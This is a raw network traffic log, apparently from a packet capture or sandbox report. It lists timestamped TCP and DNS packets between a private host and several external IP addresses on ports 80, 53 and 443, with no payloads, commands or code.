Jan 8, 2025 09:42:35.769953966 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769963980 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769963980 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.769973040 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769983053 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769983053 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.770000935 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.770031929 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.771869898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.771920919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.771944046 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.771964073 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772037029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772047043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772082090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772090912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772099018 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772116899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772128105 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772135973 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772141933 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772152901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772164106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772165060 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772173882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772188902 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772195101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772202969 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772208929 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772232056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772241116 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772268057 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772272110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772279024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772295952 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772321939 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772329092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772351980 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772361994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772372007 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772377014 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772380114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772389889 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772397995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772406101 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772408009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772417068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772424936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772434950 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772439003 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772449970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772454023 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772459984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772481918 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772507906 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772522926 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772547007 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772559881 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772568941 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772574902 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772578955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772607088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772610903 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772617102 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772648096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772653103 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772658110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772665024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772674084 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772686005 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772689104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772701025 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772717953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.772717953 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772743940 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.772762060 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773190975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773221970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773252964 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773262978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773266077 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773288965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773294926 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773298025 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773318052 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773339987 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773341894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773364067 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773364067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773375034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773380995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773396015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773400068 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773410082 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773418903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773427963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773433924 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773442030 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773463964 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773483992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773515940 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773525953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773533106 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773564100 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773590088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773606062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773614883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773637056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773643970 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773646116 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773655891 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773662090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.773679972 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.773704052 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.809357882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809386969 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809401989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809417963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809427977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809437990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809484005 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.809571981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809581995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809591055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809598923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809602022 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.809608936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809612036 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.809617996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809627056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809643030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809644938 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.809653997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.809665918 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.809688091 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.818603992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818681002 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818691015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818713903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818722010 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818733931 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.818738937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818753958 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.818780899 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.818829060 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818839073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818871021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818881989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818888903 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.818893909 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818919897 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.818921089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818933964 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.818943977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818957090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818965912 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.818967104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818974972 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818981886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.818999052 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.819006920 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.819008112 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.819026947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.819036007 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.819048882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.819082022 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.819082022 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.819089890 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.856324911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856372118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856404066 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856417894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856432915 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856461048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856476068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856478930 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.856493950 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856518030 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.856550932 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.856676102 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856692076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856708050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856720924 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.856722116 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856739044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856745005 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.856755018 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856767893 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.856771946 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.856794119 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.856817961 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.858714104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.858727932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.858736038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.858742952 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.858752012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.858760118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.858768940 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.858827114 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.858858109 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.858861923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.858928919 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:38.365247011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:38.365709066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:43:02.696630955 CET	57913	53	192.168.2.7	162.159.36.2
Jan 8, 2025 09:43:02.701445103 CET	53	57913	162.159.36.2	192.168.2.7
Jan 8, 2025 09:43:02.701561928 CET	57913	53	192.168.2.7	162.159.36.2
Jan 8, 2025 09:43:02.816967010 CET	53	57913	162.159.36.2	192.168.2.7
Jan 8, 2025 09:43:03.224653959 CET	57913	53	192.168.2.7	162.159.36.2
Jan 8, 2025 09:43:04.024446011 CET	57913	53	192.168.2.7	162.159.36.2
Jan 8, 2025 09:43:04.029524088 CET	53	57913	162.159.36.2	192.168.2.7
Jan 8, 2025 09:43:04.029577971 CET	57913	53	192.168.2.7	162.159.36.2
Jan 8, 2025 09:44:19.211025953 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:44:19.521989107 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:44:20.131335020 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:44:21.334471941 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:44:23.743350983 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:44:28.631486893 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:44:38.240844965 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:44:43.515057087 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:43.515114069 CET	443	58183	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:43.515197039 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:43.516635895 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:43.516655922 CET	443	58183	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:44.051007032 CET	443	58183	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:44.051103115 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.054763079 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.054780960 CET	443	58183	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:44.055114985 CET	443	58183	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:44.100332975 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.111078978 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.111358881 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.111392021 CET	443	58183	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:44.535583973 CET	443	58183	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:44.536088943 CET	443	58183	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:44.536192894 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.559784889 CET	58183	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.559824944 CET	443	58183	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:44.727003098 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.727060080 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:44.727154016 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.727653980 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:44.727677107 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.182661057 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.182790041 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.228081942 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.228107929 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.228483915 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.272188902 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.418390036 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.418436050 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.418544054 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861593962 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861640930 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861677885 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.861679077 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861690044 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861722946 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.861735106 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861763000 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861789942 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861798048 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.861804008 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861836910 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.861841917 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.861968040 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.862005949 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.862010956 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.866270065 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.866311073 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.866324902 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.912776947 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.948373079 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.948421001 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.948465109 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.948478937 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.948517084 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.948601961 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.948630095 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.948647976 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.948832989 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.948848009 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:45.948858976 CET	58184	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:45.948863983 CET	443	58184	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:46.165282011 CET	58185	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:46.165348053 CET	443	58185	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:46.165879965 CET	58185	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:46.165879965 CET	58185	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:46.165920973 CET	443	58185	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:46.620446920 CET	443	58185	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:46.620585918 CET	58185	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:46.624721050 CET	58185	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:46.624746084 CET	443	58185	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:46.625041962 CET	443	58185	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:46.629112959 CET	58185	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:46.629272938 CET	58185	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:46.629306078 CET	443	58185	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.164426088 CET	443	58185	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.164518118 CET	443	58185	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.164686918 CET	58185	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.164959908 CET	58185	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.164985895 CET	443	58185	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.279544115 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.279599905 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.279762983 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.280175924 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.280189991 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.746151924 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.746287107 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.747855902 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.747869968 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.748122931 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.749468088 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.749619961 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.749644041 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:47.749712944 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:47.795334101 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:48.241277933 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:48.241367102 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:48.241669893 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:48.271688938 CET	58186	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:48.271706104 CET	443	58186	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:49.816740990 CET	58187	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:49.816796064 CET	443	58187	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:49.816900015 CET	58187	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:49.817291021 CET	58187	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:49.817308903 CET	443	58187	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:50.292464972 CET	443	58187	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:50.292627096 CET	58187	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:50.294049978 CET	58187	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:50.294066906 CET	443	58187	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:50.294306993 CET	443	58187	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:50.297576904 CET	58187	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:50.297738075 CET	58187	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:50.297776937 CET	443	58187	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:50.297842979 CET	58187	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:50.297851086 CET	443	58187	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:50.818063021 CET	443	58187	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:50.818147898 CET	443	58187	104.21.80.1	192.168.2.7
Jan 8, 2025 09:44:50.818444967 CET	58187	443	192.168.2.7	104.21.80.1
